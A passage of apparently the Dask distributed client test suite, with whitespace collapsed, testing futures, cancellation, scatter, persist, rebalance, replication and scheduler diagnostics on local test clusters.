asyncio.sleep(0.01) assert time() < start + 5 proc.terminate() start = time() while s.tasks: await asyncio.sleep(0.01) assert time() < start + 5 @gen_cluster() async def test_multi_garbage_collection(s, a, b): c = await Client(s.address, asynchronous=True) f = await Client(s.address, asynchronous=True) x = c.submit(inc, 1) y = f.submit(inc, 2) y2 = c.submit(inc, 2) assert y.key == y2.key await wait([x, y]) x.__del__() start = time() while x.key in a.data or x.key in b.data: await asyncio.sleep(0.01) assert time() < start + 5 assert s.wants_what == {c.id: {y.key}, f.id: {y.key}, "fire-and-forget": set()} assert s.who_wants == {y.key: {c.id, f.id}} y.__del__() start = time() while x.key in s.wants_what[f.id]: await asyncio.sleep(0.01) assert time() < start + 5 await asyncio.sleep(0.1) assert y.key in a.data or y.key in b.data assert s.wants_what == {c.id: {y.key}, f.id: set(), "fire-and-forget": set()} assert s.who_wants == {y.key: {c.id}} y2.__del__() start = time() while y.key in a.data or y.key in b.data: await asyncio.sleep(0.01) assert time() < start + 5 assert not any(v for v in s.wants_what.values()) assert not s.who_wants await c.close() await f.close() @gen_cluster(client=True) async def test__broadcast(c, s, a, b): x, y = await c.scatter([1, 2], broadcast=True) assert a.data == b.data == {x.key: 1, y.key: 2} @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 4) async def test__broadcast_integer(c, s, *workers): x, y = await c.scatter([1, 2], broadcast=2) assert len(s.tasks[x.key].who_has) == 2 assert len(s.tasks[y.key].who_has) == 2 @gen_cluster(client=True) async def test__broadcast_dict(c, s, a, b): d = await c.scatter({"x": 1}, broadcast=True) assert a.data == b.data == {"x": 1} def test_broadcast(c, s, a, b): x, y = c.scatter([1, 2], broadcast=True) has_what = sync(c.loop, c.scheduler.has_what) assert {k: set(v) for k, v in has_what.items()} == { a["address"]: {x.key, y.key}, b["address"]: {x.key, y.key}, } [z] = c.scatter([3], broadcast=True, workers=[a["address"]]) has_what = sync(c.loop, c.scheduler.has_what) assert {k: set(v) for k, v in has_what.items()} == { a["address"]: {x.key, y.key, z.key}, b["address"]: {x.key, y.key}, } @gen_cluster(client=True) async def test_proxy(c, s, a, b): msg = await c.scheduler.proxy(msg={"op": "identity"}, worker=a.address) assert msg["id"] == a.identity()["id"] @gen_cluster(client=True) async def test__cancel(c, s, a, b): x = c.submit(slowinc, 1) y = c.submit(slowinc, x) while y.key not in s.tasks: await asyncio.sleep(0.01) await c.cancel([x]) assert x.cancelled() assert "cancel" in str(x) s.validate_state() start = time() while not y.cancelled(): await asyncio.sleep(0.01) assert time() < start + 5 assert not s.tasks s.validate_state() @gen_cluster(client=True) async def test_cancel_tuple_key(c, s, a, b): x = c.submit(inc, 1, key=("x", 0, 1)) await x await c.cancel(x) with pytest.raises(CancelledError): await x @gen_cluster() async def test_cancel_multi_client(s, a, b): c = await Client(s.address, asynchronous=True) f = await Client(s.address, asynchronous=True) x = c.submit(slowinc, 1) y = f.submit(slowinc, 1) assert x.key == y.key await c.cancel([x]) assert x.cancelled() assert not y.cancelled() start = time() while y.key not in s.tasks: await asyncio.sleep(0.01) assert time() < start + 5 out = await y assert out == 2 with pytest.raises(CancelledError): await x await c.close() await f.close() @gen_cluster(client=True) async def test_cancel_collection(c, s, a, b): L = c.map(double, [[1], [2], [3]]) x = db.Bag({("b", i): f for i, f in enumerate(L)}, "b", 3) await c.cancel(x) await c.cancel([x]) assert all(f.cancelled() for f in L) start = time() while s.tasks: assert time() < start + 1 await asyncio.sleep(0.01) def test_cancel(c): x = c.submit(slowinc, 1, key="x") y = c.submit(slowinc, x, key="y") z = c.submit(slowinc, y, key="z") c.cancel([y]) start = time() while not z.cancelled(): sleep(0.01) assert time() < start + 5 assert x.result() == 2 z.cancel() assert z.cancelled() @gen_cluster(client=True) async def test_future_type(c, s, a, b): x = c.submit(inc, 1) await wait([x]) assert x.type == int assert "int" in str(x) @gen_cluster(client=True) async def test_traceback_clean(c, s, a, b): x = c.submit(div, 1, 0) try: await x except Exception as e: f = e exc_type, exc_value, tb = sys.exc_info() while tb: assert "scheduler" not in tb.tb_frame.f_code.co_filename assert "worker" not in tb.tb_frame.f_code.co_filename tb = tb.tb_next @gen_cluster(client=True) async def test_map_differnet_lengths(c, s, a, b): assert len(c.map(add, [1, 2], [1, 2, 3])) == 2 def test_Future_exception_sync_2(loop, capsys): with cluster() as (s, [a, b]): with Client(s["address"], loop=loop) as c: assert dask.base.get_scheduler() == c.get out, err = capsys.readouterr() assert len(out.strip().split("\n")) == 1 assert dask.base.get_scheduler() != c.get @gen_cluster(timeout=60, client=True) async def test_async_persist(c, s, a, b): from dask.delayed import delayed, Delayed x = delayed(1) y = delayed(inc)(x) z = delayed(dec)(x) w = delayed(add)(y, z) yy, ww = c.persist([y, w]) assert type(yy) == type(y) assert type(ww) == type(w) assert len(yy.dask) == 1 assert len(ww.dask) == 1 assert len(w.dask) > 1 assert y.__dask_keys__() == yy.__dask_keys__() assert w.__dask_keys__() == ww.__dask_keys__() while y.key not in s.tasks and w.key not in s.tasks: await asyncio.sleep(0.01) assert s.who_wants[y.key] == {c.id} assert s.who_wants[w.key] == {c.id} yyf, wwf = c.compute([yy, ww]) yyy, www = await c.gather([yyf, wwf]) assert yyy == inc(1) assert www == add(inc(1), dec(1)) assert isinstance(c.persist(y), Delayed) assert isinstance(c.persist([y]), (list, tuple)) @gen_cluster(client=True) async def test__persist(c, s, a, b): pytest.importorskip("dask.array") import dask.array as da x = da.ones((10, 10), chunks=(5, 10)) y = 2 * (x + 1) assert len(y.dask) == 6 yy = c.persist(y) assert len(y.dask) == 6 assert len(yy.dask) == 2 assert all(isinstance(v, Future) for v in yy.dask.values()) assert yy.__dask_keys__() == y.__dask_keys__() g, h = c.compute([y, yy]) gg, hh = await c.gather([g, h]) assert (gg == hh).all() def test_persist(c): pytest.importorskip("dask.array") import dask.array as da x = da.ones((10, 10), chunks=(5, 10)) y = 2 * (x + 1) assert len(y.dask) == 6 yy = c.persist(y) assert len(y.dask) == 6 assert len(yy.dask) == 2 assert all(isinstance(v, Future) for v in yy.dask.values()) assert yy.__dask_keys__() == y.__dask_keys__() zz = yy.compute() z = y.compute() assert (zz == z).all() @gen_cluster(timeout=60, client=True) async def test_long_traceback(c, s, a, b): from distributed.protocol.pickle import dumps def deep(n): if n == 0: 1 / 0 else: return deep(n - 1) x = c.submit(deep, 200) await wait([x]) assert len(dumps(c.futures[x.key].traceback)) < 10000 assert isinstance(c.futures[x.key].exception, ZeroDivisionError) @gen_cluster(client=True) async def test_wait_on_collections(c, s, a, b): L = c.map(double, [[1], [2], [3]]) x = db.Bag({("b", i): f for i, f in enumerate(L)}, "b", 3) await wait(x) assert all(f.key in a.data or f.key in b.data for f in L) @gen_cluster(client=True) async def test_futures_of_get(c, s, a, b): x, y, z = c.map(inc, [1, 2, 3]) assert set(futures_of(0)) == set() assert set(futures_of(x)) == {x} assert set(futures_of([x, y, z])) == {x, y, z} assert set(futures_of([x, [y], [[z]]])) == {x, y, z} assert set(futures_of({"x": x, "y": [y]})) == {x, y} b = db.Bag({("b", i): f for i, f in enumerate([x, y, z])}, "b", 3) assert set(futures_of(b)) == {x, y, z} sg = SubgraphCallable( {"x": x, "y": y, "z": z, "out": (add, (add, (add, x, y), z), "in")}, "out", ("in",), ) assert set(futures_of(sg)) == {x, y, z} def test_futures_of_class(): da = pytest.importorskip("dask.array") assert futures_of([da.Array]) == [] @gen_cluster(client=True) async def test_futures_of_cancelled_raises(c, s, a, b): x = c.submit(inc, 1) await c.cancel([x]) with pytest.raises(CancelledError): await x with pytest.raises(CancelledError): await c.get({"x": (inc, x), "y": (inc, 2)}, ["x", "y"], sync=False) with pytest.raises(CancelledError): c.submit(inc, x) with pytest.raises(CancelledError): c.submit(add, 1, y=x) with pytest.raises(CancelledError): c.map(add, [1], y=x) assert "y" not in s.tasks @pytest.mark.skip @gen_cluster(nthreads=[("127.0.0.1", 1)], client=True) async def test_dont_delete_recomputed_results(c, s, w): x = c.submit(inc, 1) # compute first time await wait([x]) x.__del__() # trigger garbage collection await asyncio.sleep(0) xx = c.submit(inc, 1) # compute second time start = time() while xx.key not in w.data: # data shows up await asyncio.sleep(0.01) assert time() < start + 1 while time() < start + (s.delete_interval + 100) / 1000: # and stays assert xx.key in w.data await asyncio.sleep(0.01) @gen_cluster(nthreads=[], client=True) async def test_fatally_serialized_input(c, s): o = FatallySerializedObject() future = c.submit(inc, o) while not s.tasks: await asyncio.sleep(0.01) @pytest.mark.skip(reason="Use fast random selection now") @gen_cluster(client=True) async def test_balance_tasks_by_stacks(c, s, a, b): x = c.submit(inc, 1) await wait(x) y = c.submit(inc, 2) await wait(y) assert len(a.data) == len(b.data) == 1 @gen_cluster(client=True) async def test_run(c, s, a, b): results = await c.run(inc, 1) assert results == {a.address: 2, b.address: 2} results = await c.run(inc, 1, workers=[a.address]) assert results == {a.address: 2} results = await c.run(inc, 1, workers=[]) assert results == {} @gen_cluster(client=True) async def test_run_handles_picklable_data(c, s, a, b): futures = c.map(inc, range(10)) await wait(futures) def func(): return {}, set(), [], (), 1, "hello", b"100" results = await c.run_on_scheduler(func) assert results == func() results = await c.run(func) assert results == {w.address: func() for w in [a, b]} def test_run_sync(c, s, a, b): def func(x, y=10): return x + y result = c.run(func, 1, y=2) assert result == {a["address"]: 3, b["address"]: 3} result = c.run(func, 1, y=2, workers=[a["address"]]) assert result == {a["address"]: 3} @gen_cluster(client=True) async def test_run_coroutine(c, s, a, b): results = await c.run(geninc, 1, delay=0.05) assert results == {a.address: 2, b.address: 2} results = await c.run(geninc, 1, delay=0.05, workers=[a.address]) assert results == {a.address: 2} results = await c.run(geninc, 1, workers=[]) assert results == {} with pytest.raises(RuntimeError, match="hello"): await c.run(throws, 1) results = await c.run(asyncinc, 2, delay=0.01) assert results == {a.address: 3, b.address: 3} def test_run_coroutine_sync(c, s, a, b): result = c.run(geninc, 2, delay=0.01) assert result == {a["address"]: 3, b["address"]: 3} result = c.run(geninc, 2, workers=[a["address"]]) assert result == {a["address"]: 3} t1 = time() result = c.run(geninc, 2, delay=10, wait=False) t2 = time() assert result is None assert t2 - t1 <= 1.0 def test_run_exception(c): def raise_exception(exc_type, exc_msg): raise exc_type(exc_msg) for exc_type in [ValueError, RuntimeError]: with pytest.raises(exc_type, match="informative message"): c.run(raise_exception, exc_type, "informative message") def test_diagnostic_ui(loop): with cluster() as (s, [a, b]): a_addr = a["address"] b_addr = b["address"] with Client(s["address"], loop=loop) as c: d = c.nthreads() assert d == {a_addr: 1, b_addr: 1} d = c.nthreads([a_addr]) assert d == {a_addr: 1} d = c.nthreads(a_addr) assert d == {a_addr: 1} d = c.nthreads(a["address"]) assert d == {a_addr: 1} x = c.submit(inc, 1) y = c.submit(inc, 2) z = c.submit(inc, 3) wait([x, y, z]) d = c.who_has() assert set(d) == {x.key, y.key, z.key} assert all(w in [a_addr, b_addr] for v in d.values() for w in v) assert all(d.values()) d = c.who_has([x, y]) assert set(d) == {x.key, y.key} d = c.who_has(x) assert set(d) == {x.key} d = c.has_what() assert set(d) == {a_addr, b_addr} assert all(k in [x.key, y.key, z.key] for v in d.values() for k in v) d = c.has_what([a_addr]) assert set(d) == {a_addr} d = c.has_what(a_addr) assert set(d) == {a_addr} def test_diagnostic_nbytes_sync(c): incs = c.map(inc, [1, 2, 3]) doubles = c.map(double, [1, 2, 3]) wait(incs + doubles) assert c.nbytes(summary=False) == {k.key: sizeof(1) for k in incs + doubles} assert c.nbytes(summary=True) == {"inc": sizeof(1) * 3, "double": sizeof(1) * 3} @gen_cluster(client=True) async def test_diagnostic_nbytes(c, s, a, b): incs = c.map(inc, [1, 2, 3]) doubles = c.map(double, [1, 2, 3]) await wait(incs + doubles) assert s.get_nbytes(summary=False) == {k.key: sizeof(1) for k in incs + doubles} assert s.get_nbytes(summary=True) == {"inc": sizeof(1) * 3, "double": sizeof(1) * 3} @gen_test() async def test_worker_aliases(): s = await Scheduler(validate=True, port=0) a = Worker(s.address, name="alice") b = Worker(s.address, name="bob") w = Worker(s.address, name=3) await asyncio.gather(a, b, w) c = await Client(s.address, asynchronous=True) L = c.map(inc, range(10), workers="alice") future = await c.scatter(123, workers=3) await wait(L) assert len(a.data) == 10 assert len(b.data) == 0 assert dict(w.data) == {future.key: 123} for i, alias in enumerate([3, [3], "alice"]): result = await c.submit(lambda x: x + 1, i, workers=alias) assert result == i + 1 await c.close() await asyncio.gather(a.close(), b.close(), w.close()) await s.close() def test_persist_get_sync(c): dadd = delayed(add) x, y = delayed(1), delayed(2) xx = delayed(add)(x, x) yy = delayed(add)(y, y) xxyy = delayed(add)(xx, yy) xxyy2 = c.persist(xxyy) xxyy3 = delayed(add)(xxyy2, 10) assert xxyy3.compute() == ((1 + 1) + (2 + 2)) + 10 @gen_cluster(client=True) async def test_persist_get(c, s, a, b): dadd = delayed(add) x, y = delayed(1), delayed(2) xx = delayed(add)(x, x) yy = delayed(add)(y, y) xxyy = delayed(add)(xx, yy) xxyy2 = c.persist(xxyy) xxyy3 = delayed(add)(xxyy2, 10) await asyncio.sleep(0.5) result = await c.gather(c.get(xxyy3.dask, xxyy3.__dask_keys__(), sync=False)) assert result[0] == ((1 + 1) + (2 + 2)) + 10 result = await c.compute(xxyy3) assert result == ((1 + 1) + (2 + 2)) + 10 result = await c.compute(xxyy3) assert result == ((1 + 1) + (2 + 2)) + 10 result = await c.compute(xxyy3) assert result == ((1 + 1) + (2 + 2)) + 10 @pytest.mark.skipif(WINDOWS, reason="num_fds not supported on windows") def test_client_num_fds(loop): psutil = pytest.importorskip("psutil") with cluster() as (s, [a, b]): proc = psutil.Process() with Client(s["address"], loop=loop) as c: # first client to start loop before = proc.num_fds() # measure for i in range(4): with Client(s["address"], loop=loop): # start more clients pass start = time() while proc.num_fds() > before: sleep(0.01) assert time() < start + 4 @gen_cluster() async def test_startup_close_startup(s, a, b): c = await Client(s.address, asynchronous=True) await c.close() c = await Client(s.address, asynchronous=True) await c.close() def test_startup_close_startup_sync(loop): with cluster() as (s, [a, b]): with Client(s["address"], loop=loop) as c: sleep(0.1) with Client(s["address"]) as c: pass with Client(s["address"]) as c: pass sleep(0.1) with Client(s["address"]) as c: pass @gen_cluster(client=True) async def test_badly_serialized_exceptions(c, s, a, b): def f(): class BadlySerializedException(Exception): def __reduce__(self): raise TypeError() raise BadlySerializedException("hello world") x = c.submit(f) try: result = await x except Exception as e: assert "hello world" in str(e) else: assert False @gen_cluster(client=True) async def test_rebalance(c, s, a, b): aws = s.workers[a.address] bws = s.workers[b.address] x, y = await c.scatter([1, 2], workers=[a.address]) assert len(a.data) == 2 assert len(b.data) == 0 s.validate_state() await c.rebalance() s.validate_state() assert len(b.data) == 1 assert {ts.key for ts in bws.has_what} == set(b.data) assert bws in s.tasks[x.key].who_has or bws in s.tasks[y.key].who_has assert len(a.data) == 1 assert {ts.key for ts in aws.has_what} == set(a.data) assert aws not in s.tasks[x.key].who_has or aws not in s.tasks[y.key].who_has @gen_cluster(nthreads=[("127.0.0.1", 1)] * 4, client=True) async def test_rebalance_workers(e, s, a, b, c, d): w, x, y, z = await e.scatter([1, 2, 3, 4], workers=[a.address]) assert len(a.data) == 4 assert len(b.data) == 0 assert len(c.data) == 0 assert len(d.data) == 0 await e.rebalance([x, y], workers=[a.address, c.address]) assert len(a.data) == 3 assert len(b.data) == 0 assert len(c.data) == 1 assert len(d.data) == 0 assert c.data == {x.key: 2} or c.data == {y.key: 3} await e.rebalance() assert len(a.data) == 1 assert len(b.data) == 1 assert len(c.data) == 1 assert len(d.data) == 1 s.validate_state() @gen_cluster(client=True) async def test_rebalance_execution(c, s, a, b): futures = c.map(inc, range(10), workers=a.address) await c.rebalance(futures) assert len(a.data) == len(b.data) == 5 s.validate_state() def test_rebalance_sync(c, s, a, b): futures = c.map(inc, range(10), workers=[a["address"]]) c.rebalance(futures) has_what = c.has_what() assert len(has_what) == 2 assert list(valmap(len, has_what).values()) == [5, 5] @gen_cluster(client=True) async def test_rebalance_unprepared(c, s, a, b): futures = c.map(slowinc, range(10), delay=0.05, workers=a.address) await asyncio.sleep(0.1) await c.rebalance(futures) s.validate_state() @gen_cluster(client=True) async def test_rebalance_raises_missing_data(c, s, a, b): with pytest.raises(ValueError, match="keys were found to be missing"): futures = await c.scatter(range(100)) keys = [f.key for f in futures] del futures await c.rebalance(keys) @gen_cluster(client=True) async def test_receive_lost_key(c, s, a, b): x = c.submit(inc, 1, workers=[a.address]) await x await a.close() start = time() while x.status == "finished": assert time() < start + 5 await asyncio.sleep(0.01) @pytest.mark.skipif( not sys.platform.startswith("linux"), reason="Need 127.0.0.2 to mean localhost" ) @gen_cluster([("127.0.0.1", 1), ("127.0.0.2", 2)], client=True) async def test_unrunnable_task_runs(c, s, a, b): x = c.submit(inc, 1, workers=[a.ip]) await x await a.close() start = time() while x.status == "finished": assert time() < start + 5 await asyncio.sleep(0.01) assert s.tasks[x.key] in s.unrunnable assert s.get_task_status(keys=[x.key]) == {x.key: "no-worker"} w = await Worker(s.address, loop=s.loop) start = time() while x.status != "finished": assert time() < start + 2 await asyncio.sleep(0.01) assert s.tasks[x.key] not in s.unrunnable result = await x assert result == 2 await w.close() @gen_cluster(client=True, nthreads=[]) async def test_add_worker_after_tasks(c, s): futures = c.map(inc, range(10)) n = await Nanny(s.address, nthreads=2, loop=s.loop, port=0) await c.gather(futures) await n.close() @pytest.mark.skipif( not sys.platform.startswith("linux"), reason="Need 127.0.0.2 to mean localhost" ) @gen_cluster([("127.0.0.1", 1), ("127.0.0.2", 2)], client=True) async def test_workers_register_indirect_data(c, s, a, b): [x] = await c.scatter([1], workers=a.address) y = c.submit(inc, x, workers=b.ip) await y assert b.data[x.key] == 1 assert s.tasks[x.key].who_has == {s.workers[a.address], s.workers[b.address]} assert s.workers[b.address].has_what == {s.tasks[x.key], s.tasks[y.key]} s.validate_state() @gen_cluster(client=True) async def test_submit_on_cancelled_future(c, s, a, b): x = c.submit(inc, 1) await x await c.cancel(x) with pytest.raises(CancelledError): c.submit(inc, x) @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 10) async def test_replicate(c, s, *workers): [a, b] = await c.scatter([1, 2]) await s.replicate(keys=[a.key, b.key], n=5) s.validate_state() assert len(s.tasks[a.key].who_has) == 5 assert len(s.tasks[b.key].who_has) == 5 assert sum(a.key in w.data for w in workers) == 5 assert sum(b.key in w.data for w in workers) == 5 @gen_cluster(client=True) async def test_replicate_tuple_keys(c, s, a, b): x = delayed(inc)(1, dask_key_name=("x", 1)) f = c.persist(x) await c.replicate(f, n=5) s.validate_state() assert a.data and b.data await c.rebalance(f) s.validate_state() @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 10) async def test_replicate_workers(c, s, *workers): [a, b] = await c.scatter([1, 2], workers=[workers[0].address]) await s.replicate( keys=[a.key, b.key], n=5, workers=[w.address for w in workers[:5]] ) assert len(s.tasks[a.key].who_has) == 5 assert len(s.tasks[b.key].who_has) == 5 assert sum(a.key in w.data for w in workers[:5]) == 5 assert sum(b.key in w.data for w in workers[:5]) == 5 assert sum(a.key in w.data for w in workers[5:]) == 0 assert sum(b.key in w.data for w in workers[5:]) == 0 await s.replicate(keys=[a.key, b.key], n=1) assert len(s.tasks[a.key].who_has) == 1 assert len(s.tasks[b.key].who_has) == 1 assert sum(a.key in w.data for w in workers) == 1 assert sum(b.key in w.data for w in workers) == 1 s.validate_state() await s.replicate(keys=[a.key, b.key], n=None) # all assert len(s.tasks[a.key].who_has) == 10 assert len(s.tasks[b.key].who_has) == 10 s.validate_state() await s.replicate( keys=[a.key, b.key], n=1, workers=[w.address for w in workers[:5]] ) assert sum(a.key in w.data for w in workers[:5]) == 1 assert sum(b.key in w.data for w in workers[:5]) == 1 assert sum(a.key in w.data for w in workers[5:]) == 5 assert sum(b.key in w.data for w in workers[5:]) == 5 s.validate_state() class CountSerialization: def __init__(self): self.n = 0 def __setstate__(self, n): self.n = n + 1 def __getstate__(self): return self.n @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 10) async def test_replicate_tree_branching(c, s, *workers): obj = CountSerialization() [future] = await c.scatter([obj]) await s.replicate(keys=[future.key], n=10) max_count = max(w.data[future.key].n for w in workers) assert max_count > 1 @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 10) async def test_client_replicate(c, s, *workers): x = c.submit(inc, 1) y = c.submit(inc, 2) await c.replicate([x, y], n=5) assert len(s.tasks[x.key].who_has) == 5 assert len(s.tasks[y.key].who_has) == 5 await c.replicate([x, y], n=3) assert len(s.tasks[x.key].who_has) == 3 assert len(s.tasks[y.key].who_has) == 3 await c.replicate([x, y]) s.validate_state() assert len(s.tasks[x.key].who_has) == 10 assert len(s.tasks[y.key].who_has) == 10 @pytest.mark.skipif( not sys.platform.startswith("linux"), reason="Need 127.0.0.2 to mean localhost" ) @gen_cluster( client=True, nthreads=[("127.0.0.1", 1), ("127.0.0.2", 1), ("127.0.0.2", 1)], timeout=None, ) async def test_client_replicate_host(client, s, a, b, c): aws = s.workers[a.address] bws = s.workers[b.address] cws = s.workers[c.address] x = client.submit(inc, 1, workers="127.0.0.2") await wait([x]) assert s.tasks[x.key].who_has == {bws} or s.tasks[x.key].who_has == {cws} await client.replicate([x], workers=["127.0.0.2"]) assert s.tasks[x.key].who_has == {bws, cws} await client.replicate([x], workers=["127.0.0.1"]) assert s.tasks[x.key].who_has == {aws, bws, cws} def test_client_replicate_sync(c): x = c.submit(inc, 1) y = c.submit(inc, 2) c.replicate([x, y], n=2) who_has = c.who_has() assert len(who_has[x.key]) == len(who_has[y.key]) == 2 with pytest.raises(ValueError): c.replicate([x], n=0) assert y.result() == 3 @pytest.mark.skipif(WINDOWS, reason="Windows timer too coarse-grained") @gen_cluster(client=True, nthreads=[("127.0.0.1", 4)] * 1) async def test_task_load_adapts_quickly(c, s, a): future = c.submit(slowinc, 1, delay=0.2) # slow await wait(future) assert 0.15 < s.task_prefixes["slowinc"].duration_average < 0.4 futures = c.map(slowinc, range(10), delay=0) # very fast await wait(futures) assert 0 < s.task_prefixes["slowinc"].duration_average < 0.1 @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 2) async def test_even_load_after_fast_functions(c, s, a, b): x = c.submit(inc, 1, workers=a.address) # very fast y = c.submit(inc, 2, workers=b.address) # very fast await wait([x, y]) futures = c.map(inc, range(2, 11)) await wait(futures) assert any(f.key in a.data for f in futures) assert any(f.key in b.data for f in futures) # assert abs(len(a.data) - len(b.data)) <= 3 @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 2) async def test_even_load_on_startup(c, s, a, b): x, y = c.map(inc, [1, 2]) await wait([x, y]) assert len(a.data) == len(b.data) == 1 @pytest.mark.skip @gen_cluster(client=True, nthreads=[("127.0.0.1", 2)] * 2) async def test_contiguous_load(c, s, a, b): w, x, y, z = c.map(inc, [1, 2, 3, 4]) await wait([w, x, y, z]) groups = [set(a.data), set(b.data)] assert {w.key, x.key} in groups assert {y.key, z.key} in groups @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 4) async def test_balanced_with_submit(c, s, *workers): L = [c.submit(slowinc, i) for i in range(4)] await wait(L) for w in workers: assert len(w.data) == 1 @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 4) async def test_balanced_with_submit_and_resident_data(c, s, *workers): [x] = await c.scatter([10], broadcast=True) L = [c.submit(slowinc, x, pure=False) for i in range(4)] await wait(L) for w in workers: assert len(w.data) == 2 @gen_cluster(client=True, nthreads=[("127.0.0.1", 20)] * 2) async def test_scheduler_saturates_cores(c, s, a, b): for delay in [0, 0.01, 0.1]: futures = c.map(slowinc, range(100), delay=delay) futures = c.map(slowinc, futures, delay=delay / 10) while not s.tasks: if s.tasks: assert all( len(p) >= 20 for w in s.workers.values() for p in w.processing.values() ) await asyncio.sleep(0.01) @gen_cluster(client=True, nthreads=[("127.0.0.1", 20)] * 2) async def test_scheduler_saturates_cores_random(c, s, a, b): for delay in [0, 0.01, 0.1]: futures = c.map(randominc, range(100), scale=0.1) while not s.tasks: if s.tasks: assert all( len(p) >= 20 for w in s.workers.values() for p in w.processing.values() ) await asyncio.sleep(0.01) @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 4) async def test_cancel_clears_processing(c, s, *workers): da = pytest.importorskip("dask.array") x = c.submit(slowinc, 1, delay=0.2) while not s.tasks: await asyncio.sleep(0.01) await c.cancel(x) start = time() while any(v for w in s.workers.values() for v in w.processing): assert time() < start + 0.2 await asyncio.sleep(0.01) s.validate_state() def test_default_get(): with cluster() as (s, [a, b]): pre_get = dask.base.get_scheduler() pytest.raises(KeyError, dask.config.get, "shuffle") with Client(s["address"], set_as_default=True) as c: assert dask.base.get_scheduler() == c.get assert dask.config.get("shuffle") == "tasks" assert dask.base.get_scheduler() == pre_get pytest.raises(KeyError, dask.config.get, "shuffle") c = Client(s["address"], set_as_default=False) assert dask.base.get_scheduler() == pre_get pytest.raises(KeyError, dask.config.get, "shuffle") c.close() c = Client(s["address"], set_as_default=True) assert dask.config.get("shuffle") == "tasks" assert dask.base.get_scheduler() == c.get c.close() assert dask.base.get_scheduler() == pre_get pytest.raises(KeyError, dask.config.get, "shuffle") with Client(s["address"]) as c: assert dask.base.get_scheduler() == c.get with Client(s["address"], set_as_default=False) as c: assert dask.base.get_scheduler() != c.get assert dask.base.get_scheduler() != c.get with Client(s["address"], set_as_default=True) as c1: assert dask.base.get_scheduler() == c1.get with Client(s["address"], set_as_default=True) as c2: assert dask.base.get_scheduler() == c2.get assert dask.base.get_scheduler() == c1.get assert dask.base.get_scheduler() == pre_get @gen_cluster(client=True) async def test_get_processing(c, s, a, b): processing = await c.processing() assert processing == valmap(tuple, s.processing) futures = c.map( slowinc, range(10), delay=0.1, workers=[a.address], allow_other_workers=True ) await asyncio.sleep(0.2) x = await c.processing() assert set(x) == {a.address, b.address} x = await c.processing(workers=[a.address]) assert isinstance(x[a.address], (list, tuple)) @gen_cluster(client=True) async def test_get_foo(c, s, a, b): futures = c.map(inc, range(10)) await wait(futures) x = await c.scheduler.ncores() assert x == s.nthreads x = await c.scheduler.ncores(workers=[a.address]) assert x == {a.address: s.nthreads[a.address]} x = await c.scheduler.has_what() assert valmap(sorted, x) == valmap(sorted, s.has_what) x = await c.scheduler.has_what(workers=[a.address]) assert valmap(sorted, x) == {a.address: sorted(s.has_what[a.address])} x = await c.scheduler.nbytes(summary=False) assert x == s.get_nbytes(summary=False) x = await c.scheduler.nbytes(keys=[futures[0].key], summary=False) assert x == {futures[0].key: s.tasks[futures[0].key].nbytes} x = await c.scheduler.who_has() assert valmap(sorted, x) == valmap(sorted, s.who_has) x = await c.scheduler.who_has(keys=[futures[0].key]) assert valmap(sorted, x) == {futures[0].key: sorted(s.who_has[futures[0].key])} def assert_dict_key_equal(expected, actual): assert set(expected.keys()) == set(actual.keys()) for k in actual.keys(): ev = expected[k] av = actual[k] assert list(ev) == list(av) @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 3) async def test_get_foo_lost_keys(c, s, u, v, w): x = c.submit(inc, 1, workers=[u.address]) y = await c.scatter(3, workers=[v.address]) await wait([x, y]) ua, va, wa = u.address, v.address, w.address d = await c.scheduler.has_what() assert_dict_key_equal(d, {ua: [x.key], va: [y.key], wa: []}) d = await c.scheduler.has_what(workers=[ua, va]) assert_dict_key_equal(d, {ua: [x.key], va: [y.key]}) d = await c.scheduler.who_has() assert_dict_key_equal(d, {x.key: [ua], y.key: [va]}) d = await c.scheduler.who_has(keys=[x.key, y.key]) assert_dict_key_equal(d, {x.key: [ua], y.key: [va]}) await u.close() await v.close() d = await c.scheduler.has_what() assert_dict_key_equal(d, {wa: []}) d = await c.scheduler.has_what(workers=[ua, va]) assert_dict_key_equal(d, {ua: [], va: []}) # The scattered key cannot be recomputed so it is forgotten d = await c.scheduler.who_has() assert_dict_key_equal(d, {x.key: []}) # ... but when passed explicitly, it is included in the result d = await c.scheduler.who_has(keys=[x.key, y.key]) assert_dict_key_equal(d, {x.key: [], y.key: []}) @pytest.mark.slow @gen_cluster( client=True, Worker=Nanny, clean_kwargs={"threads": False, "processes": False} ) async def test_bad_tasks_fail(c, s, a, b): f = c.submit(sys.exit, 0) with captured_logger(logging.getLogger("distributed.scheduler")) as logger: with pytest.raises(KilledWorker) as info: await f text = logger.getvalue() assert f.key in text assert info.value.last_worker.nanny in {a.address, b.address} await asyncio.gather(a.close(), b.close()) def test_get_processing_sync(c, s, a, b): processing = c.processing() assert not any(v for v in processing.values()) futures = c.map( slowinc, range(10), delay=0.1, workers=[a["address"]], allow_other_workers=False ) sleep(0.2) aa = a["address"] bb = b["address"] processing = c.processing() assert set(c.processing(aa)) == {aa} assert set(c.processing([aa])) == {aa} c.cancel(futures) def test_close_idempotent(c): c.close() c.close() c.close() @nodebug def test_get_returns_early(c): start = time() with suppress(RuntimeError): result = c.get({"x": (throws, 1), "y": (sleep, 1)}, ["x", "y"]) assert time() < start + 0.5 # Futures should be released and forgotten wait_for(lambda: not c.futures, timeout=0.1) wait_for(lambda: not any(c.processing().values()), timeout=3) x = c.submit(inc, 1) x.result() with suppress(RuntimeError): result = c.get({"x": (throws, 1), x.key: (inc, 1)}, ["x", x.key]) assert x.key in c.futures @pytest.mark.slow @gen_cluster(Worker=Nanny, client=True) async def test_Client_clears_references_after_restart(c, s, a, b): x = c.submit(inc, 1) assert x.key in c.refcount await c.restart() assert x.key not in c.refcount key = x.key del x import gc gc.collect() await asyncio.sleep(0) assert key not in c.refcount def test_get_stops_work_after_error(c): with pytest.raises(RuntimeError): c.get({"x": (throws, 1), "y": (sleep, 1.5)}, ["x", "y"]) start = time() while any(c.processing().values()): sleep(0.01) assert time() < start + 0.5 def test_as_completed_list(c): seq = 